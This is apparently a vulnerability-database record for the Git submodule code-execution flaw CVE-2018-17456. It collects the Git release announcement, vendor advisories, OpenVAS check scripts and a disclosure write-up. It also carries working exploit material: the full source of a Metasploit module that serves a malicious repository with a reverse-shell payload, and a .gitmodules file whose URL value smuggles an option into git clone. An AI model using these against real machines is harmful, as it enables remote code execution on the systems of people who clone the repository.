ID PACKETSTORM:149709 Type packetstorm Reporter Junio C Hamano Modified 2018-10-08T00:00:00
Description
`These releases fix a security flaw (CVE-2018-17456), which allowed an
attacker to execute arbitrary code by crafting a malicious .gitmodules
file in a project cloned with --recurse-submodules.
When running "git clone --recurse-submodules", Git parses the supplied
.gitmodules file for a URL field and blindly passes it as an argument
to a "git clone" subprocess. If the URL field is set to a string that
begins with a dash, this "git clone" subprocess interprets the URL as
an option. This can lead to executing an arbitrary script shipped in
the superproject as the user who ran "git clone".
In addition to fixing the security issue for the user running "clone",
the 2.17.2, 2.18.1 and 2.19.1 releases have an "fsck" check which can
be used to detect such malicious repository content when fetching or
accepting a push. See "transfer.fsckObjects" in git-config(1).
Credit for finding and fixing this vulnerability goes to joernchen
and Jeff King, respectively.
P.S. Folks at Microsoft tried to follow the known exploit recipe on
Git for Windows (but not Cygwin or other Git implementations on
Windows) and found that the recipe (or its variants they can think
of) would not make their system vulnerable. This is due to the fact
that the type of submodule path require by the known exploit recipe
cannot be created on Windows. Nonetheless, it is possible we have
missed some exploitation path and users are encouraged to upgrade.
`
{"id": "PACKETSTORM:149709", "bulletinFamily": "exploit", "title": "Git Submodule Arbitrary Code Execution", "description": "", "published": "2018-10-08T00:00:00", "modified": "2018-10-08T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://packetstormsecurity.com/files/149709/Git-Submodule-Arbitrary-Code-Execution.html", "reporter": "Junio C Hamano", "references": [], "cvelist": ["CVE-2018-17456"], "type": "packetstorm", "lastseen": "2018-10-09T02:17:03", "history": [], "edition": 1, "hashmap": [{"key": "bulletinFamily", "hash": "708697c63f7eb369319c6523380bdf7a"}, {"key": "cvelist", "hash": "cb60ac9651f4181a3216045a4c8d9cd9"}, {"key": "cvss", "hash": "8cd4821cb504d25572038ed182587d85"}, {"key": "description", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "href", "hash": "0b9fc103a24ddbc662e2a9e13456be61"}, {"key": "modified", "hash": "ff90eeb8c4fdc8c9c0cb3e15ba169097"}, {"key": "published", "hash": "ff90eeb8c4fdc8c9c0cb3e15ba169097"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "f5aa81d38d4bcbf87204df57b28bf22a"}, {"key": "sourceData", "hash": "a525f261596b05ffc97f78326f3d5adf"}, {"key": "sourceHref", "hash": "3a47b8d6b0e202effba2af88c3ba027f"}, {"key": "title", "hash": "0adfeb8acfa611ae554864c24c0cee04"}, {"key": "type", "hash": "6466ca3735f647eeaed965d9e71bd35d"}], "hash": "eaaac4d205c341bfeb02f03b8321298074c4919144d3cea3ef1903e29334ce44", "viewCount": 25, "enchantments": {"score": {"value": 7.5, "vector": "NONE", "modified": "2018-10-09T02:17:03"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2018-17456"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT/MULTI/HTTP/GIT_SUBMODULE_URL_EXEC"]}, {"type": "atlassian", "idList": ["ATLASSIAN:SRCTREEWIN-11292", "ATLASSIAN:SRCTREE-6394"]}, {"type": "redhat", "idList": ["RHSA-2018:3541", "RHSA-2018:3408"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310882979", "OPENVAS:1361412562310704311", "OPENVAS:1361412562310852170", "OPENVAS:1361412562310843657", "OPENVAS:1361412562310852092", "OPENVAS:1361412562310851934", "OPENVAS:1361412562310875175", "OPENVAS:1361412562310875257", "OPENVAS:1361412562310875204", "OPENVAS:1361412562310875184"]}, {"type": "ubuntu", "idList": ["USN-3791-1"]}, {"type": "exploitdb", "idList": ["EDB-ID:45548", "EDB-ID:45631"]}, {"type": "nessus", "idList": ["FREEBSD_PKG_8C08AB4CD06C11E8B35C001B217B3468.NASL", "EULEROS_SA-2018-1388.NASL", "CENTOS_RHSA-2018-3408.NASL", "EULEROS_SA-2019-1291.NASL", "OPENSUSE-2019-986.NASL", "SUSE_SU-2018-4009-1.NASL", "SL_20181031_GIT_ON_SL7_X.NASL", "FEDORA_2018-D5139C4FD6.NASL", "SUSE_SU-2018-4088-1.NASL", "OPENSUSE-2018-1517.NASL"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:150380", "PACKETSTORM:149836"]}, {"type": "cloudfoundry", "idList": ["CFOUNDRY:9C6EC2561AEF786EE1E3D4A78891A5F8"]}, {"type": "zdt", "idList": ["1337DAY-ID-31270"]}, {"type": "amazon", "idList": ["ALAS-2018-1093"]}, {"type": "suse", "idList": ["OPENSUSE-SU-2018:3109-1", "OPENSUSE-SU-2018:3178-1", "OPENSUSE-SU-2018:4051-1"]}, {"type": "centos", "idList": ["CESA-2018:3408"]}, {"type": "oraclelinux", "idList": ["ELSA-2018-3408"]}, {"type": "freebsd", "idList": ["8C08AB4C-D06C-11E8-B35C-001B217B3468"]}, {"type": "slackware", "idList": ["SSA-2018-283-01"]}, {"type": "debian", "idList": ["DEBIAN:DSA-4311-1:A583A"]}], "modified": "2018-10-09T02:17:03"}, "vulnersScore": 7.5}, "objectVersion": "1.3", "sourceHref": "https://packetstormsecurity.com/files/download/149709/gitmodule-exec.txt", "sourceData": "`These releases fix a security flaw (CVE-2018-17456), which allowed an \nattacker to execute arbitrary code by crafting a malicious .gitmodules \nfile in a project cloned with --recurse-submodules. \n \nWhen running \"git clone --recurse-submodules\", Git parses the supplied \n.gitmodules file for a URL field and blindly passes it as an argument \nto a \"git clone\" subprocess. If the URL field is set to a string that \nbegins with a dash, this \"git clone\" subprocess interprets the URL as \nan option. This can lead to executing an arbitrary script shipped in \nthe superproject as the user who ran \"git clone\". \n \nIn addition to fixing the security issue for the user running \"clone\", \nthe 2.17.2, 2.18.1 and 2.19.1 releases have an \"fsck\" check which can \nbe used to detect such malicious repository content when fetching or \naccepting a push. See \"transfer.fsckObjects\" in git-config(1). \n \nCredit for finding and fixing this vulnerability goes to joernchen \nand Jeff King, respectively. \n \nP.S. Folks at Microsoft tried to follow the known exploit recipe on \nGit for Windows (but not Cygwin or other Git implementations on \nWindows) and found that the recipe (or its variants they can think \nof) would not make their system vulnerable. This is due to the fact \nthat the type of submodule path require by the known exploit recipe \ncannot be created on Windows. Nonetheless, it is possible we have \nmissed some exploitation path and users are encouraged to upgrade. \n \n \n`\n"}
{"cve": [{"lastseen": "2019-05-29T18:19:53", "bulletinFamily": "NVD", "description": "Git before 2.14.5, 2.15.x before 2.15.3, 2.16.x before 2.16.5, 2.17.x before 2.17.2, 2.18.x before 2.18.1, and 2.19.x before 2.19.1 allows remote code execution during processing of a recursive \"git clone\" of a superproject if a .gitmodules file has a URL field beginning with a '-' character.", "modified": "2019-04-22T17:48:00", "id": "CVE-2018-17456", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-17456", "published": "2018-10-06T14:29:00", "title": "CVE-2018-17456", "type": "cve", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "metasploit": [{"lastseen": "2019-10-20T09:40:38", "bulletinFamily": "exploit", "description": "This module exploits CVE-2018-17456, which affects Git versions 2.14.5, 2.15.3, 2.16.5, 2.17.2, 2.18.1, and 2.19.1 and lower. When a submodule url which starts with a dash e.g \"-u./payload\" is passed as an argument to git clone, the file \"payload\" inside the repository is executed. This module creates a fake git repository which contains a submodule containing the vulnerability. The vulnerability is triggered when the submodules are initialised (e.g git clone --recurse-submodules URL)\n", "modified": "2019-03-29T15:44:58", "published": "2018-10-18T03:02:28", "id": "MSF:EXPLOIT/MULTI/HTTP/GIT_SUBMODULE_URL_EXEC", "href": "", "type": "metasploit", "title": "Malicious Git HTTP Server For CVE-2018-17456", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n include Msf::Exploit::Remote::HttpServer\n include Msf::Exploit::Git\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Malicious Git HTTP Server For CVE-2018-17456',\n 'Description' => %q(\n This module exploits CVE-2018-17456, which affects Git\n versions 2.14.5, 2.15.3, 2.16.5, 2.17.2, 2.18.1, and 2.19.1 and lower.\n\n When a submodule url which starts with a dash e.g \"-u./payload\" is passed\n as an argument to git clone, the file \"payload\" inside the repository\n is executed.\n\n This module creates a fake git repository which contains a submodule\n containing the vulnerability. The vulnerability is triggered when the\n submodules are initialised (e.g git clone --recurse-submodules URL)\n ),\n 'Author' => 'timwr',\n 'License' => MSF_LICENSE,\n 'References' =>\n [\n ['CVE', '2018-17456'],\n ['URL', 'https://marc.info/?l=git&m=153875888916397&w=2' ],\n ['URL', 'https://gist.github.com/joernchen/38dd6400199a542bc9660ea563dcf2b6' ],\n ['URL', 'https://blog.github.com/2018-10-05-git-submodule-vulnerability' ],\n ],\n 'DisclosureDate' => 'Oct 05 2018',\n 'Targets' => [\n ['Automatic',\n {\n 'Platform' => [ 'unix' ],\n 'Arch' => ARCH_CMD,\n 'Payload' => {'Compat' => {'PayloadType' => 'python'}}\n }\n ]\n ],\n 'DefaultOptions' => {'Payload' => 'cmd/unix/reverse_python'},\n 'DefaultTarget' => 0\n )\n )\n\n register_options(\n [\n OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']),\n OptString.new('GIT_SUBMODULE', [false, 'The path to use as the malicious git submodule (empty for random)', ''])\n ]\n )\n end\n\n def setup\n @repo_data = {\n git: { files: {} }\n }\n setup_git\n super\n end\n\n def setup_git\n # URI must start with a /\n unless git_uri && git_uri.start_with?('/')\n fail_with(Failure::BadConfig, 'GIT_URI must start with a /')\n end\n\n payload_content = \"#!/bin/sh\\n#{payload.raw} &\"\n payload_file = Rex::Text.rand_text_alpha(4..6)\n\n submodule_path = datastore['GIT_SUBMODULE']\n if submodule_path.blank?\n submodule_path = Rex::Text.rand_text_alpha(2..6).downcase + \":\" + Rex::Text.rand_text_alpha(2..6).downcase\n end\n unless submodule_path.include?\":\"\n fail_with(Failure::BadConfig, 'GIT_SUBMODULE must contain a :')\n end\n\n gitmodules = \"[submodule \\\"#{submodule_path}\\\"]\npath = #{submodule_path}\nurl = -u./#{payload_file}\n\"\n\n sha1, content = build_object('blob', gitmodules)\n @repo_data[:git][:files][\"/objects/#{get_path(sha1)}\"] = content\n payloadsha1, content = build_object('blob', payload_content)\n @repo_data[:git][:files][\"/objects/#{get_path(payloadsha1)}\"] = content\n\n tree = \"100644 .gitmodules\\0#{[sha1].pack('H*')}\"\n tree += \"100744 #{payload_file}\\0#{[payloadsha1].pack('H*')}\"\n tree += \"160000 #{submodule_path}\\0#{[sha1].pack('H*')}\"\n sha1, content = build_object('tree', tree)\n @repo_data[:git][:files][\"/objects/#{get_path(sha1)}\"] = content\n\n sha1, content = build_object('commit', \"tree #{sha1}\\n#{fake_commit_message}\")\n @repo_data[:git][:files][\"/objects/#{get_path(sha1)}\"] = content\n @repo_data[:git][:files]['/HEAD'] = \"ref: refs/heads/master\\n\"\n @repo_data[:git][:files]['/info/refs'] = \"#{sha1}\\trefs/heads/master\\n\"\n end\n\n def primer\n # add the git and mercurial URIs as necessary\n hardcoded_uripath(git_uri)\n git_url = URI.parse(get_uri).merge(git_uri)\n print_status(\"Malicious Git URI is #{git_url}\")\n print_status(\"git clone --recurse-submodules #{git_url}\")\n end\n\n # handles git clone\n def on_request_uri(cli, req)\n req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '')\n if @repo_data[:git][:files].key?(req_file)\n vprint_status(\"Sending Git #{req_file}\")\n send_response(cli, @repo_data[:git][:files][req_file])\n else\n vprint_status(\"Git #{req_file} doesn't exist\")\n send_not_found(cli)\n end\n end\n\n # Returns the value of GIT_URI if not blank, otherwise returns a random .git URI\n def git_uri\n return @git_uri if @git_uri\n if datastore['GIT_URI'].blank?\n @git_uri = '/' + Rex::Text.rand_text_alpha(4..6).downcase + '.git'\n else\n @git_uri = datastore['GIT_URI']\n end\n end\nend\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/git_submodule_url_exec.rb"}], "atlassian": [{"lastseen": "2019-05-29T17:29:03", "bulletinFamily": "software", "description": "There was an input validation vulnerability in Sourcetree for Windows via a Git repository with submodules. A remote attacker with permission to commit to a Git repository linked in Sourcetree for Windows is able to able to exploit this issue to gain code execution on the system.\r\nh4. Affected versions:\r\n * Versions of Sourcetree for Windows before version 3.0.17 are affected by this vulnerability\r\n\r\nh4. Fix:\r\n * Upgrade Sourcetree for Windows to version 3.0.17 or higher from\u00a0[https://www.sourcetreeapp.com/]\r\n\r\nFor additional details, see the full advisory:\u00a0https://confluence.atlassian.com/sourcetreekb/sourcetree-security-advisory-2019-03-06-966678691.html", "modified": "2019-03-07T00:38:14", "published": "2019-01-23T22:56:09", "id": "ATLASSIAN:SRCTREEWIN-11292", "href": "https://jira.atlassian.com/browse/SRCTREEWIN-11292", "title": "Input validation vulnerability via Git in Sourcetree for Windows - CVE-2018-17456", "type": "atlassian", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-05-29T17:29:01", "bulletinFamily": "software", "description": "There was an input validation vulnerability in Sourcetree for macOS via a Git repository with submodules. A remote attacker with permission to commit to a Git repository linked in Sourcetree for macOS is able to able to exploit this issue to gain code execution on the system.\r\nh4. Affected versions:\r\n * Versions of Sourcetree for macOS before version 3.1.1 are affected by this vulnerability\r\n\r\nh4. Fix:\r\n * Upgrade Sourcetree for macOS to version 3.1.1 or higher from [https://www.sourcetreeapp.com/]\r\n\r\nFor additional details, see the full advisory:\u00a0https://confluence.atlassian.com/sourcetreekb/sourcetree-security-advisory-2019-03-06-966678691.html", "modified": "2019-03-21T01:53:31", "published": "2019-01-23T22:43:28", "id": "ATLASSIAN:SRCTREE-6394", "href": "https://jira.atlassian.com/browse/SRCTREE-6394", "title": "Input validation vulnerability via Git in Sourcetree for Mac - CVE-2018-17456", "type": "atlassian", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "exploitdb": [{"lastseen": "2018-10-08T16:29:40", "bulletinFamily": "exploit", "description": "Git Submodule - Arbitrary Code Execution. CVE-2018-17456. Local exploit for Linux platform", "modified": "2018-10-05T00:00:00", "published": "2018-10-05T00:00:00", "id": "EDB-ID:45548", "href": "https://www.exploit-db.com/exploits/45548/", "type": "exploitdb", "title": "Git Submodule - Arbitrary Code Execution", "sourceData": "These releases fix a security flaw (CVE-2018-17456), which allowed an\r\nattacker to execute arbitrary code by crafting a malicious .gitmodules\r\nfile in a project cloned with --recurse-submodules.\r\n\r\nWhen running \"git clone --recurse-submodules\", Git parses the supplied\r\n.gitmodules file for a URL field and blindly passes it as an argument\r\nto a \"git clone\" subprocess. If the URL field is set to a string that\r\nbegins with a dash, this \"git clone\" subprocess interprets the URL as\r\nan option. This can lead to executing an arbitrary script shipped in\r\nthe superproject as the user who ran \"git clone\".\r\n\r\nIn addition to fixing the security issue for the user running \"clone\",\r\nthe 2.17.2, 2.18.1 and 2.19.1 releases have an \"fsck\" check which can\r\nbe used to detect such malicious repository content when fetching or\r\naccepting a push. See \"transfer.fsckObjects\" in git-config(1).\r\n\r\nCredit for finding and fixing this vulnerability goes to joernchen\r\nand Jeff King, respectively.\r\n\r\nP.S. Folks at Microsoft tried to follow the known exploit recipe on\r\nGit for Windows (but not Cygwin or other Git implementations on\r\nWindows) and found that the recipe (or its variants they can think\r\nof) would not make their system vulnerable. This is due to the fact\r\nthat the type of submodule path require by the known exploit recipe\r\ncannot be created on Windows. Nonetheless, it is possible we have\r\nmissed some exploitation path and users are encouraged to upgrade.", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://www.exploit-db.com/download/45548/"}, {"lastseen": "2018-11-27T20:19:48", "bulletinFamily": "exploit", "description": "Git Submodule - Arbitrary Code Execution. CVE-2018-17456. Local exploit for Linux platform", "modified": "2018-10-16T00:00:00", "published": "2018-10-16T00:00:00", "id": "EDB-ID:45631", "href": "https://old.exploit-db.com/exploits/45631/", "type": "exploitdb", "title": "Git Submodule - Arbitrary Code Execution", "sourceData": "# CVE-2018-17456\r\n\r\nI've gotten a couple of questions about exploitation for the\r\n[recent RCE](https://marc.info/?l=git&m=153875888916397&w=2) in Git. So here we\r\ngo with some technical details.\r\n\r\n## TL;DR\r\n\r\n[Here](https://github.com/joernchen/poc-submodule) is a PoC repository.\r\nEDB Note: Mirror ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/45631.zip\r\n\r\n## Exploitation\r\n\r\nThe `.gitmodules` file looks as follows:\r\n\r\n```\r\n[submodule \"x:x\"]\r\n\tpath = x:x\r\n\turl = -u./payload\r\n```\r\n\r\nThe actual command being injected is set by the url, `-u./payload`\r\npoints the `upload-pack` flag of git clone to the `payload` shell\r\nscript. Note also the `:` within the path, this part is needed to\r\nactually get the `payload` script executed.\r\n\r\nThe path will end up as the repository URL in the subsequent `clone`\r\noperation:\r\n\r\n```\r\nexecve(\"/usr/lib/git-core/git\", [\"/usr/lib/git-core/git\", \"clone\",\r\n\"--no-checkout\", \"--progress\", \"--separate-git-dir\",\r\n\"/tmp/huhu/.git/modules/x:x\", \"-u./payload\", \"/tmp/huhu/x:x\"],...\r\n```\r\n\r\nAs the actual URL from `.gitmodules` is interpreted as the `-u`\r\nargument.\r\n\r\nThe colon is due to the fact, that the colon character let us go past\r\nthose lines in `transport.c`:\r\n\r\n```c\r\n } else if (url_is_local_not_ssh(url) && is_file(url) && is_bundle(url, 1)) {\r\n struct bundle_transport_data *data = xcalloc(1, sizeof(*data));\r\n transport_check_allowed(\"file\");\r\n ret->data = data;\r\n ret->vtable = &bundle_vtable;\r\n ret->smart_options = NULL;\r\n```\r\n\r\nDue to `url_is_local_not_ssh` will return false due to the colon\r\nin the path. And therefore later on in the code the smart_options\r\ncontaining the `uploadpack` setting are still in place:\r\n\r\n```c\r\n } else {\r\n\t\t/* Unknown protocol in URL. Pass to external handler. */\r\n\t\tint len = external_specification_len(url);\r\n\t\tchar *handler = xmemdupz(url, len);\r\n\t\ttransport_helper_init(ret, handler);\r\n\t}\r\n\r\n\tif (ret->smart_options) {\r\n\t\tret->smart_options->thin = 1;\r\n\t\tret->smart_options->uploadpack = \"git-upload-pack\";\r\n\t\tif (remote->uploadpack)\r\n\t\t\tret->smart_options->uploadpack = remote->uploadpack;\r\n\t\tret->smart_options->receivepack = \"git-receive-pack\";1\r\n\t\tif (remote->receivepack)\r\n\t\t\tret->smart_options->receivepack = remote->receivepack;\r\n\t}\r\n```\r\n\r\n## Further hints\r\n\r\nThe constraint to have a colon in the `path` seems to hinder exploitation on Windows\r\nas a colon is a forbidden character within a path on Windows. However as noted by\r\nsome people during the disclosure: Git running within the Windows Subsystem for Linux or\r\ncygwin will allow exploitation on Windows hosts.\r\n\r\nEtienne Stalmans who found [a similar issue](https://staaldraad.github.io/post/2018-06-03-cve-2018-11235-git-rce/)\r\nearlier this year managed to exploit this argument injection [using `--template`](https://twitter.com/_staaldraad/status/1049241254939246592).", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://old.exploit-db.com/download/45631/"}], "redhat": [{"lastseen": "2019-08-13T18:46:22", "bulletinFamily": "unix", "description": "Git is a distributed revision control system with a decentralized architecture. As opposed to centralized version control systems with a client-server model, Git ensures that each working copy of a Git repository is an exact copy with complete revision history. This not only allows the user to work on and contribute to projects without the need to have permission to push the changes to their official repositories, but also makes it possible for the user to work with no network connection.\n\nSecurity Fix(es):\n\n* git: arbitrary code execution via .gitmodules (CVE-2018-17456)\n\nFor more details about the security issue(s), including the impact, a CVSS score, and other related information, refer to the CVE page(s) listed in the References section.", "modified": "2018-11-12T16:00:53", "published": "2018-11-12T15:58:59", "id": "RHSA-2018:3541", "href": "https://access.redhat.com/errata/RHSA-2018:3541", "type": "redhat", "title": "(RHSA-2018:3541) Important: rh-git29-git security update", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-08-13T18:47:12", "bulletinFamily": "unix", "description": "Git is a distributed revision control system with a decentralized architecture. As opposed to centralized version control systems with a client-server model, Git ensures that each working copy of a Git repository is an exact copy with complete revision history. This not only allows the user to work on and contribute to projects without the need to have permission to push the changes to their official repositories, but also makes it possible for the user to work with no network connection.\n\nSecurity Fix(es):\n\n* git: arbitrary code execution via .gitmodules (CVE-2018-17456)\n\nFor more details about the security issue(s), including the impact, a CVSS score, and other related information, refer to the CVE page(s) listed in the References section.", "modified": "2018-10-30T19:08:46", "published": "2018-10-30T18:56:57", "id": "RHSA-2018:3408", "href": "https://access.redhat.com/errata/RHSA-2018:3408", "type": "redhat", "title": "(RHSA-2018:3408) Important: git security update", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "ubuntu": [{"lastseen": "2019-05-29T19:21:06", "bulletinFamily": "unix", "description": "It was discovered that git did not properly validate git submodule urls or paths. A remote attacker could possibly use this to craft a git repository that causes arbitrary code execution when recursive operations are used.", "modified": "2018-10-12T00:00:00", "published": "2018-10-12T00:00:00", "id": "USN-3791-1", "href": "https://usn.ubuntu.com/3791-1/", "title": "Git vulnerability", "type": "ubuntu", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "openvas": [{"lastseen": "2019-05-29T18:33:26", "bulletinFamily": "scanner", "description": "The remote host is missing an update for the ", "modified": "2019-03-08T00:00:00", "published": "2018-12-18T00:00:00", "id": "OPENVAS:1361412562310882979", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310882979", "title": "CentOS Update for emacs-git CESA-2018:3408 centos7", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id$\n#\n# CentOS Update for emacs-git CESA-2018:3408 centos7\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2018 Greenbone Networks GmbH, http://www.greenbone.net\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.882979\");\n script_version(\"$Revision: 14058 $\");\n script_cve_id(\"CVE-2018-17456\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-08 14:25:52 +0100 (Fri, 08 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2018-12-18 07:37:47 +0100 (Tue, 18 Dec 2018)\");\n script_name(\"CentOS Update for emacs-git CESA-2018:3408 centos7\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2018 Greenbone Networks GmbH\");\n script_family(\"CentOS Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/centos\", \"ssh/login/rpms\", re:\"ssh/login/release=CentOS7\");\n\n script_xref(name:\"CESA\", value:\"2018:3408\");\n script_xref(name:\"URL\", value:\"http://lists.centos.org/pipermail/centos-announce/2018-December/023102.html\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'emacs-git'\n package(s) announced via the CESA-2018:3408 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"Git is a distributed revision control system with a decentralized\narchitecture. As opposed to centralized version control systems with a\nclient-server model, Git ensures that each working copy of a Git repository\nis an exact copy with complete revision history. This not only allows the\nuser to work on and contribute to projects without the need to have\npermission to push the changes to their official repositories, but also\nmakes it possible for the user to work with no network connection.\n\nSecurity Fix(es):\n\n * git: arbitrary code execution via .gitmodules (CVE-2018-17456)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, and other related information, refer to the CVE page(s) listed in\nthe References section.\");\n\n script_tag(name:\"affected\", value:\"emacs-git on CentOS 7.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release) exit(0);\n\nres = \"\";\n\nif(release == \"CentOS7\")\n{\n\n if ((res = isrpmvuln(pkg:\"emacs-git\", rpm:\"emacs-git~1.8.3.1~20.el7\", rls:\"CentOS7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"emacs-git-el\", rpm:\"emacs-git-el~1.8.3.1~20.el7\", rls:\"CentOS7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git\", rpm:\"git~1.8.3.1~20.el7\", rls:\"CentOS7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-all\", rpm:\"git-all~1.8.3.1~20.el7\", rls:\"CentOS7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-bzr\", rpm:\"git-bzr~1.8.3.1~20.el7\", rls:\"CentOS7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-cvs\", rpm:\"git-cvs~1.8.3.1~20.el7\", rls:\"CentOS7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-daemon\", rpm:\"git-daemon~1.8.3.1~20.el7\", rls:\"CentOS7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-email\", rpm:\"git-email~1.8.3.1~20.el7\", rls:\"CentOS7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-gnome-keyring\", rpm:\"git-gnome-keyring~1.8.3.1~20.el7\", rls:\"CentOS7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-gui\", rpm:\"git-gui~1.8.3.1~20.el7\", rls:\"CentOS7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-hg\", rpm:\"git-hg~1.8.3.1~20.el7\", rls:\"CentOS7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-instaweb\", rpm:\"git-instaweb~1.8.3.1~20.el7\", rls:\"CentOS7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gitk\", rpm:\"gitk~1.8.3.1~20.el7\", rls:\"CentOS7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-p4\", rpm:\"git-p4~1.8.3.1~20.el7\", rls:\"CentOS7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-svn\", rpm:\"git-svn~1.8.3.1~20.el7\", rls:\"CentOS7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gitweb\", rpm:\"gitweb~1.8.3.1~20.el7\", rls:\"CentOS7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"perl-Git\", rpm:\"perl-Git~1.8.3.1~20.el7\", rls:\"CentOS7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"perl-Git-SVN\", rpm:\"perl-Git-SVN~1.8.3.1~20.el7\", rls:\"CentOS7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-05-29T18:32:39", "bulletinFamily": "scanner", "description": "The remote host is missing an update for the ", "modified": "2019-01-11T00:00:00", "published": "2018-12-10T00:00:00", "id": "OPENVAS:1361412562310852170", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310852170", "title": "SuSE Update for libgit2 openSUSE-SU-2018:4051-1 (libgit2)", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_suse_2018_4051_1.nasl 13032 2019-01-11 07:56:51Z mmartin $\n#\n# SuSE Update for libgit2 openSUSE-SU-2018:4051-1 (libgit2)\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2018 Greenbone Networks GmbH, http://www.greenbone.net\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software 